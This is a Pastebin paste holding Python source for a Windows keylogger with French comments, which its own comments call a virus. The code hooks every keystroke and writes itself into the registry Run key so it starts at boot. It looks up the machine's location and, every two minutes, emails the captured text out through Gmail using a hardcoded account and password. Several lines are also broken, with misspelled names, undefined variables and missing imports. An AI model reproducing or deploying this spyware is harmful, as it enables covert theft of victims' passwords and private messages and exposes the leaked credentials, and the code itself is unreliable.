Advertisement
Guest User

Untitled

a guest
Jan 8th, 2018
456
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.73 KB | None | 0 0
  1. import os, sys #Pour gérer
  2. import smtplib #Pour les mails
  3. import threading #Pour le multi-threading
  4. import datetime, time #Libs pour dater le mail et créer un cooldown
  5. import ipgetter #Libs pour récupérer l'ip
  6. import pythoncom, pyHook #Libs pour le keylogger
  7. from urllib.request import urlopen #Libs pour la géolocalisation
  8. import json #Lib pour la géolocalisation
  9.  
  10. mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
  11. if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
  12. mutex = None
  13. exit(0)
  14.  
  15. x = ''
  16. data = ''
  17. count = 0
  18.  
  19. def geolocalisation():
  20. try:
  21. data = json.loads(urlopen('http://freegeoip.net/json').read().decode()) #On récupère les données de localisation sur via l'url donnée
  22. latitude = str(data['latitude']) #On stocke la latitude
  23. longitude = str(data['longitude']) #On stocke la longitude
  24. msg = msg + "\nLocalisation :\n " + latitude + "\n" + longitude #On stocke tout dans le message
  25.  
  26. except:
  27. pass #On ne relève pas l'erreur si existante
  28.  
  29. def demarrage():
  30. if getattr(sys, 'frozen', False): #Si le script n'est pas un éxécutable
  31. chemin = os.path.dirname(os.path.realpath(sys.executable)) #On récupère le chemin du fichier en éliminant les erreurs dues aux caractères spéciaux
  32. elif __file__: #Si le script est sous la forme d'un éxécutable
  33. chemin = os.path.dirname(os.path.realpath(__file__)) #On récupère le chemin du fichier en éliminant les erreurs dues aux caractères spéciaux
  34. nom_fichier = sys.argv[0].split("\\")[-1] #On récupère le nom du fichier
  35. nouveau_chemin = chemin + "\\" + nom_fichier #On assemble le nouveau chemin
  36. valeurcle = r'Software\Mirosoft\Windows\CurrentVersion\Run'#On stocke la valeur de la clé registre nous permettant de lancer l'application au démarrage
  37. cle = OpenKey(HKEY_CURRENT_USER, valeurcle,0,KEY_ALL_ACCESS) #On localise laclé registre
  38. SetValueEx(key2change, "logger",0,RED_SZ, nouveau_chemin) #On change la valeur de la clé
  39.  
  40. class Email(threading.Thread): #Création du thread
  41. def __init__(self): #Initialisation du thread
  42. threading.Thread.__init__(self) # //
  43. self.event = threading.Event() # //
  44. def run(self):
  45. while not self.event.is_set(): #Infinite loop
  46. global data
  47. if len(data)>100 #Si le contenu de data est supérieur à 100 caractères
  48. ts = datetime.datetime.now() #On récupère date, heure, et tout le tralala
  49. SERVER = 'smtp.gmail.com' #On indique le serveur smtp
  50. PORT = 587 #On indique le port du serveur
  51. USER = 'jeezsraspberrypi@gmail.com' #On indique l'email depuis lequel le mail va être envoyé
  52. PASS = 'Lennon33' #On indique le mot de passe du mail
  53. FROM = USER #On indique de qui part l'email
  54. TO = ["matteo2943@gmail.com"] #On indique à qui sera envoyé le mail
  55. SUBJECT = "Data : "+str(ts) #On indique le sujet ainsi que la valeur de ts (heure et date)
  56. MESSAGE = data #On donne au message la valeur de data
  57. message = """\ From: %s To: %s Subject: %s %s """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE) #On assemble le message qui sera envoyé
  58. try:
  59. server = smtplib.SMTP() #On définit SMTP
  60. server.connect(SERVER, PORT) #On se connecte au serveur SMTP
  61. server.starttls() #Obligatoire pour s'authentifier sur ce serveur SMTP de gmail (ils en ont 3 ptdr)
  62. server.login(USER, PASS) #On s'authentifie auprès du serveur
  63. server.sendmail(FROM, TO, message) #On envoie le mail
  64. # data = ''
  65. server.quit() #On se déconnecte du serveur
  66. except:
  67. pass
  68.  
  69. self.event.wait(120) #On attend 2 minutes avant de loop
  70.  
  71.  
  72.  
  73. def main():
  74. demarrage() #On lance la fonction qui permettra à notre virus de se lancer au démarrage
  75. email = Email() #On définit notre thread
  76. email.start() #On lance notre thread
  77.  
  78. def keypressed(event):
  79. global x, data #On définit les variables x et data
  80. if event.Ascii == 8: #Si le code ASCII correspond à 8
  81. keys = '[BACK-SPACE]' #Afficher [BACK-SPACE]
  82. elif event.Ascii == 9: #Si le code ASCII correspond à 9
  83. keys = '[TAB]' #Afficher [TAB]
  84. elif event.Ascii == 13: #Si le code ASCII correspond à 13
  85. keys='[ENTER]' #Afficher [ENTER]
  86. else:
  87. keys=chr(event.Ascii)
  88. data = data+keys #Ajouter la lettre à la variable data
  89.  
  90. objet = pyHook.HookManager()
  91. objet.KeyDown = keypressed()
  92. objet.HookKeyboard()
  93. pythoncom.PumpMessages()
  94.  
  95. if __name__ == '__main__':
  96. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement